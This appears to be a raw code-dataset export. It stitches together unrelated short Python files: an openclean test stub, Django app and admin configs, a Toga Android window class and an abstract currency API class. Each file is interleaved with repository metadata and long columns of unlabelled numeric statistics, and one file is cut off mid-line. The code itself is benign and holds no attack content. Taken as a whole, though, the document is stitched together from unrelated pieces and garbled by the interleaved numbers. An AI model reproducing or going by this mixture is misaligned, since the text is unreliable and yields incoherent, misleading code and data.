8c09c8302cadbb3bb02c959907f91a3ae343f939
[ "BSD-3-Clause" ]
14
2021-01-19T19:23:16.000Z
2021-04-28T14:31:03.000Z
tests/cluster/test_cluster_index.py
remram44/openclean-core
8c09c8302cadbb3bb02c959907f91a3ae343f939
[ "BSD-3-Clause" ]
5
2021-08-24T11:57:21.000Z
2022-03-17T04:39:04.000Z
# This file is part of the Data Cleaning Library (openclean). # # Copyright (C) 2018-2021 New York University. # # openclean is released under the Revised BSD License. See file LICENSE for # full license details. """Unit tests for the cluster index class.""" from openclean.cluster.base import Cluster from openclean.c...
36.92
75
0.669556
143
923
4.300699
0.321678
0.143089
0.234146
0.273171
0.450407
0.450407
0.450407
0.401626
0.401626
0.401626
0
0.028169
0.153846
923
24
76
38.458333
0.759283
0.299025
0
0.166667
0
0
0.022187
0
0
0
0
0
0.666667
1
0.083333
false
0
0.166667
0
0.25
0
0
0
0
null
0
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
1
0
0
0
0
0
0
0
0
0
3
bf2eba92eb38ec22593dbc9e7bc3abd493731b3b
130
py
Python
components/studio/datasets/apps.py
aitmlouk/stackn
c8029394a15b03796a4864938f9db251b65c7354
[ "Apache-2.0" ]
25
2020-05-08T22:24:54.000Z
2022-03-11T18:16:58.000Z
components/studio/datasets/apps.py
aitmlouk/stackn
c8029394a15b03796a4864938f9db251b65c7354
[ "Apache-2.0" ]
75
2020-05-08T22:15:59.000Z
2021-11-22T10:00:04.000Z
components/studio/datasets/apps.py
aitmlouk/stackn
c8029394a15b03796a4864938f9db251b65c7354
[ "Apache-2.0" ]
12
2020-11-04T13:09:46.000Z
2022-03-14T16:22:40.000Z
from django.apps import AppConfig class DatasetsConfig(AppConfig): name = 'datasets' verbose_name = 'Scaleout Datasets'
18.571429
38
0.746154
14
130
6.857143
0.785714
0
0
0
0
0
0
0
0
0
0
0
0.176923
130
6
39
21.666667
0.897196
0
0
0
0
0
0.192308
0
0
0
0
0
0
1
0
false
0
0.25
0
1
0
1
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
1
0
0
3
172c88c3f1708a6109478164d6b512078479c920
271
py
Python
privacy/admin.py
bitlabstudio/django-privacy
2dda89b411794d35c623ef060c18f45faba32986
[ "MIT" ]
2
2017-11-06T21:52:07.000Z
2019-07-15T19:18:05.000Z
privacy/admin.py
bitlabstudio/django-privacy
2dda89b411794d35c623ef060c18f45faba32986
[ "MIT" ]
null
null
null
privacy/admin.py
bitlabstudio/django-privacy
2dda89b411794d35c623ef060c18f45faba32986
[ "MIT" ]
null
null
null
"""Admin for the ``privacy`` app.""" from django.contrib import admin from hvad.admin import TranslatableAdmin from .models import PrivacyLevel, PrivacySetting admin.site.register(PrivacyLevel, TranslatableAdmin) admin.site.register(PrivacySetting, admin.ModelAdmin)
24.636364
53
0.808118
31
271
7.064516
0.548387
0.173516
0.155251
0
0
0
0
0
0
0
0
0
0.095941
271
10
54
27.1
0.893878
0.110701
0
0
0
0
0
0
0
0
0
0
0
1
0
true
0
0.6
0
0.6
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
1
0
1
0
1
0
0
3
174b7e3f545b0a61d38081c7410b3133d694502e
35
py
Python
CONFIG.py
QuentinDeHaes/Unboundedness-for-1-VASS
a0cc0c81182abbae096063310956329b5ae8b2e8
[ "MIT" ]
null
null
null
CONFIG.py
QuentinDeHaes/Unboundedness-for-1-VASS
a0cc0c81182abbae096063310956329b5ae8b2e8
[ "MIT" ]
null
null
null
CONFIG.py
QuentinDeHaes/Unboundedness-for-1-VASS
a0cc0c81182abbae096063310956329b5ae8b2e8
[ "MIT" ]
null
null
null
CONFIG = { "testing": False }
7
20
0.514286
3
35
6
1
0
0
0
0
0
0
0
0
0
0
0
0.314286
35
4
21
8.75
0.75
0
0
0
0
0
0.2
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
1784449c9e48b30336843c06b165d9d438541a97
22
py
Python
src/__init__.py
chiffa/Pharmacosensitivity_growth_assays
b31eaa162b335cdb0b9000059195425753299a3f
[ "BSD-3-Clause" ]
4
2017-07-05T11:43:47.000Z
2021-09-14T09:47:17.000Z
src/__init__.py
chiffa/Pharmacosensitivity_growth_assays
b31eaa162b335cdb0b9000059195425753299a3f
[ "BSD-3-Clause" ]
10
2015-12-17T17:03:15.000Z
2020-07-21T14:15:16.000Z
bioflow/bio_db_parsers/__init__.py
chiffa/PolyPharma
2cfee5cc57ccfb75e13f73efd7835978c2fff8ea
[ "BSD-3-Clause" ]
3
2017-02-14T16:39:21.000Z
2018-03-29T18:46:13.000Z
__author__ = 'Andrei'
11
21
0.727273
2
22
6
1
0
0
0
0
0
0
0
0
0
0
0
0.136364
22
1
22
22
0.631579
0
0
0
0
0
0.272727
0
0
0
0
0
0
1
0
false
0
0
0
0
0
1
1
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
3
179ad6c05d47bded54cdc882f97ec5846d6755d2
2,103
py
Python
src/android/toga_android/window.py
d3r3kk/toga
2d8c0eb30371c4ef4f0610251233569e9c618e93
[ "BSD-3-Clause" ]
1
2021-05-05T14:36:08.000Z
2021-05-05T14:36:08.000Z
src/android/toga_android/window.py
d3r3kk/toga
2d8c0eb30371c4ef4f0610251233569e9c618e93
[ "BSD-3-Clause" ]
null
null
null
src/android/toga_android/window.py
d3r3kk/toga
2d8c0eb30371c4ef4f0610251233569e9c618e93
[ "BSD-3-Clause" ]
null
null
null
class AndroidViewport: def __init__(self, native): self.native = native self.dpi = 96 # FIXME This is almost certainly wrong... # self.dpi = ... self.interface.app._impl.device_scale @property def width(self): return self.native.ClientSize.Width @property def heig...
27.311688
77
0.663338
255
2,103
5.258824
0.266667
0.106637
0.1044
0.12006
0.348993
0.304251
0.184937
0.184937
0.184937
0.184937
0
0.00124
0.233
2,103
76
78
27.671053
0.83013
0.062767
0
0.215686
0
0
0.083418
0.073245
0
0
0
0.013158
0
1
0.392157
false
0.137255
0
0.039216
0.470588
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
1
0
0
1
0
1
0
0
0
0
0
3
17a3325c697334ae83cb13f02464fcefd6198c1b
559
py
Python
currency_converter_with_rate/api.py
NazemMahmud/currencyConverterWithRate
fcf100a553aa1af19652343713cd4228357402e2
[ "MIT" ]
1
2021-12-17T09:10:22.000Z
2021-12-17T09:10:22.000Z
currency_converter_with_rate/api.py
NazemMahmud/currencyConverterWithRate
fcf100a553aa1af19652343713cd4228357402e2
[ "MIT" ]
null
null
null
currency_converter_with_rate/api.py
NazemMahmud/currencyConverterWithRate
fcf100a553aa1af19652343713cd4228357402e2
[ "MIT" ]
null
null
null
import requests from abc import ABC, abstractmethod class API(ABC): _base_url = '' _payload = {} """ To set query parameters """ @abstractmethod def _set_query_params(self): pass """ To get result in a format """ @abstractmethod def _get_result(self): ...
16.939394
69
0.577818
59
559
5.271186
0.474576
0.163987
0.064309
0
0
0
0
0
0
0
0
0
0.330948
559
32
70
17.46875
0.831551
0
0
0.352941
0
0
0
0
0
0
0
0
0
1
0.235294
false
0.176471
0.117647
0
0.588235
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
1
0
0
1
0
0
3